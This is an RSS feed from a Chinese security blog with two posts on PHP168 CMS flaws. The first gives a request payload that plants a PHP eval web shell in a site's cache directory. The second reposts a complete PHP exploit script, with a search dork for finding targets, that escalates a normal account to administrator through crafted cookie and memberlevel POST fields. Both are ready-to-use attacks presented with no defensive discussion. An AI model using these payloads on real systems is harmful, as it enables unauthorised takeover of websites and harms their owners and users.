<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; PHP168</title>
	<atom:link href="http://www.4shell.org/archives/tag/php168/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>PHP168 6.0及以下版本0day</title>
		<link>http://www.4shell.org/archives/1097.html</link>
		<comments>http://www.4shell.org/archives/1097.html#comments</comments>
		<pubDate>Wed, 09 Sep 2009 13:22:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[PHP168]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1097.html</guid>
		<description><![CDATA[影响版本：PHP168 6.0以下版本 入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。 测试语句： ?makehtml=1&#038;chdb[htmlname]=honker.php&#038;chdb[path]=cache&#038;content=?php%20@eval($_POST[honker]);? 相关文章2010年06月10日 -- 你还敢执行txt文件吗？Windows 0day 2010年05月21日 -- 橙色预警：PHP PATH_INFO 存在漏洞2010年04月23日 -- Shopex V4.8.4 V4.8.5 0Day 通杀2010年04月1日 -- PDF最新0day2010年03月24日 -- Firefox 3.6 0day被补了2010年03月10日 -- DedeCms v5.5 0day2010年01月31日 -- 瑞星本地提权通杀利用代码2010年01月20日 -- IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告2009年09月22日 -- Gnuboard 0day&#038;Exp2009年09月22日 -- 新云4.0最新0day]]></description>
			<content:encoded><![CDATA[<p>影响版本：PHP168 6.0以下版本</p>
<p>入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。</p>
<p>测试语句：<br />
<span id="more-1097"></span></p>
<blockquote><p>
?makehtml=1&#038;chdb[htmlname]=honker.php&#038;chdb[path]=cache&#038;content=?php%20@eval($_POST[honker]);?
</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年06月10日 -- <a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1722.html" title="Shopex V4.8.4 V4.8.5 0Day 通杀">Shopex V4.8.4 V4.8.5 0Day 通杀</a></li><li>2010年04月1日 -- <a href="http://www.4shell.org/archives/1641.html" title="PDF最新0day">PDF最新0day</a></li><li>2010年03月24日 -- <a href="http://www.4shell.org/archives/1632.html" title="Firefox 3.6 0day被补了">Firefox 3.6 0day被补了</a></li><li>2010年03月10日 -- <a href="http://www.4shell.org/archives/1615.html" title="DedeCms v5.5 0day">DedeCms v5.5 0day</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2010年01月20日 -- <a href="http://www.4shell.org/archives/1481.html" title="IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告">IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1112.html" title="新云4.0最新0day">新云4.0最新0day</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1097.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Php168 v6 权限提升漏洞</title>
		<link>http://www.4shell.org/archives/906.html</link>
		<comments>http://www.4shell.org/archives/906.html#comments</comments>
		<pubDate>Mon, 20 Jul 2009 19:25:58 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[PHP168]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/906.html</guid>
		<description><![CDATA[  by Ryat http://www.wolvez.org 2009-07-17 天天上班,好久没在论坛发贴了... 以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段 直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:) EXP: #!/usr/bin/php &#60;?php print_r(' +---------------------------------------------------------------------------+ Php168 v6.0 update user access exploit by puret_t mail: puretot at gmail dot com team: http://www.wolvez.org dork: "Powered by PHP168 V6.0" +---------------------------------------------------------------------------+ '); /** * works regardless of php.ini settings */ if ($argc &#60; 5) {     print_r(' +---------------------------------------------------------------------------+ Usage: php [...]]]></description>
			<content:encoded><![CDATA[<p> </p>
<p>by Ryat<br />
<a href="http://bbs.wolvez.org/topic/89/" target="_blank">http://www.wolvez.org</a><br />
2009-07-17</p>
<p>天天上班,好久没在论坛发贴了...</p>
<p>以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段<br />
直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)</p>
<p>EXP:</p>
<blockquote><p><code>#!/usr/bin/php<br />
&lt;?php</code></p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
Php168 v6.0 update user access exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://www.wolvez.org<br />
dork: "Powered by PHP168 V6.0"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
* works regardless of php.ini settings<br />
*/<br />
if ($argc &lt; 5) {<br />
    print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].' host path user pass<br />
host:      target server (ip/hostname)<br />
path:      path to php168<br />
user:      login username<br />
pass:      login password<br />
Example:<br />
php '.$argv[0].' localhost /php168/ ryat 123456<br />
+---------------------------------------------------------------------------+<br />
');<br />
    exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];<br />
$user = $argv[3];<br />
$pass = $argv[4];</p>
<p>$resp = send();<br />
preg_match('/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);</p>
<p>if ($cookie)<br />
    if (strpos(send(), 'puret_t') !== false)<br />
        exit("Expoilt Success!\nYou Are Admin Now!\n");<br />
    else<br />
        exit("Exploit Failed!\n");<br />
else<br />
    exit("Exploit Failed!\n");</p>
<p>function rands($length = 8)<br />
{<br />
    $hash = '';<br />
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';<br />
    $max = strlen($chars) - 1;<br />
    mt_srand((double)microtime() * 1000000);<br />
    for ($i = 0; $i &lt; $length; $i++)<br />
        $hash .= $chars[mt_rand(0, $max)];</p>
<p>    return $hash;<br />
}</p>
<p>function send()<br />
{<br />
    global $host, $path, $user, $pass, $cookie;</p>
<p>    if ($cookie) {<br />
        $cookie[1] .= ';USR='.rands()."\t31\t\t";<br />
        $cmd = 'memberlevel[8]=1&amp;memberlevel[9]=1&amp;memberlevel[3,introduce%3D0x70757265745f74]=-1';</p>
<p>        $message = "POST ".$path."member/homepage.php?uid=$cookie[2]  HTTP/1.1\r\n";<br />
        $message .= "Accept: */*\r\n";<br />
        $message .= "Accept-Language: zh-cn\r\n";<br />
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
        $message .= "Host: $host\r\n";<br />
        $message .= "Content-Length: ".strlen($cmd)."\r\n";<br />
        $message .= "Connection: Close\r\n";<br />
        $message .= "Cookie: ".$cookie[1]."\r\n\r\n";<br />
        $message .= $cmd;<br />
    } else {<br />
        $cmd = "username=$user&amp;password=$pass&amp;step=2";</p>
<p>        $message = "POST ".$path."do/login.php  HTTP/1.1\r\n";<br />
        $message .= "Accept: */*\r\n";<br />
        $message .= "Accept-Language: zh-cn\r\n";<br />
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
        $message .= "Host: $host\r\n";<br />
        $message .= "Content-Length: ".strlen($cmd)."\r\n";<br />
        $message .= "Connection: Close\r\n\r\n";<br />
        $message .= $cmd;<br />
    }</p>
<p>    $fp = fsockopen($host, 80);<br />
    fputs($fp, $message);</p>
<p>    $resp = '';</p>
<p>    while ($fp &amp;&amp; !feof($fp))<br />
        $resp .= fread($fp, 1024);</p>
<p>    return $resp;<br />
}</p>
<p>?&gt;</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年09月9日 -- <a href="http://www.4shell.org/archives/1097.html" title="PHP168 6.0及以下版本0day">PHP168 6.0及以下版本0day</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/906.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

